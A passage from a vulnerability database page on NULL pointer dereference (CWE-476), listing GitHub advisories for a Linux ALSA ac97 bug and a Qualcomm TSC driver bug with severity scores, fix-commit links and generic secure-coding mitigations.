      "url": "http://nvidia.custhelp.com/app/answers/detail/a_id/4398"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-523C-3CG7-7HHV

Vulnerability from github – Published: 2025-10-07 18:31 – Updated: 2026-02-04 00:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ALSA: ac97: Fix possible NULL dereference in snd_ac97_mixer

smatch error: sound/pci/ac97/ac97_codec.c:2354 snd_ac97_mixer() error: we previously assumed 'rac97' could be null (see line 2072)

remove redundant assignment, return error if rac97 is NULL.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-07T16:15:48Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: ac97: Fix possible NULL dereference in snd_ac97_mixer\n\nsmatch error:\nsound/pci/ac97/ac97_codec.c:2354 snd_ac97_mixer() error:\nwe previously assumed \u0027rac97\u0027 could be null (see line 2072)\n\nremove redundant assignment, return error if rac97 is NULL.",
  "id": "GHSA-523c-3cg7-7hhv",
  "modified": "2026-02-04T00:30:27Z",
  "published": "2025-10-07T18:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53648"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/09baf460dfba79ee6a0c72e68ccdbbba84d894df"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/228da1fa124470606ac19783e551f9d51a1e01b0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/300e26e3e64880de5013eac8831cf44387ef752c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5f13d67027fa782096e6aee0db5dce61c4aeb613"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/79597c8bf64ca99eab385115743131d260339da5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/809af7bb4219bdeef0dbb8b2ed700d6516d13fe9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d28b83252e150155b8b8c65b612c555e93c8b45f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e4cccff1e7ab6ea30995b6fbbb007d02647e025c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f923a582217b198b557756809ffe42ac0fad6adb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-525M-66C5-WJMH

Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24
VLAI
Details

drivers/media/platform/msm/broadcast/tsc.c in the TSC driver for the Linux kernel 3.x, as used in Qualcomm Innovation Center (QuIC) Android contributions for MSM devices and other products, allows attackers to cause a denial of service (invalid pointer dereference) or possibly have unspecified other impact via a crafted application that makes a TSC_GET_CARD_STATUS ioctl call.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-0573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-08-07T21:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "drivers/media/platform/msm/broadcast/tsc.c in the TSC driver for the Linux kernel 3.x, as used in Qualcomm Innovation Center (QuIC) Android contributions for MSM devices and other products, allows attackers to cause a denial of service (invalid pointer dereference) or possibly have unspecified other impact via a crafted application that makes a TSC_GET_CARD_STATUS ioctl call.",
  "id": "GHSA-525m-66c5-wjmh",
  "modified": "2022-05-13T01:24:35Z",
  "published": "2022-05-13T01:24:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0573"
    },
    {
      "type": "WEB",
      "url": "https://us.codeaurora.org/cgit/quic/la//kernel/msm-3.10/commit/?id=e20f20aaed6b6d2fd1667bad9be9ef35103a51df"
    },
    {
      "type": "WEB",
      "url": "https://www.codeaurora.org/issues-tsc-tspp2-and-buspm-drivers-cve-2015-0573-cve-2016-2441-cve-2016-2442"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-56
Implementation

For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].

Mitigation
Requirements

Select a programming language that is not susceptible to these issues.

Mitigation
Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Mitigation
Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Mitigation
Implementation

Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.

No CAPEC attack patterns related to this CWE.

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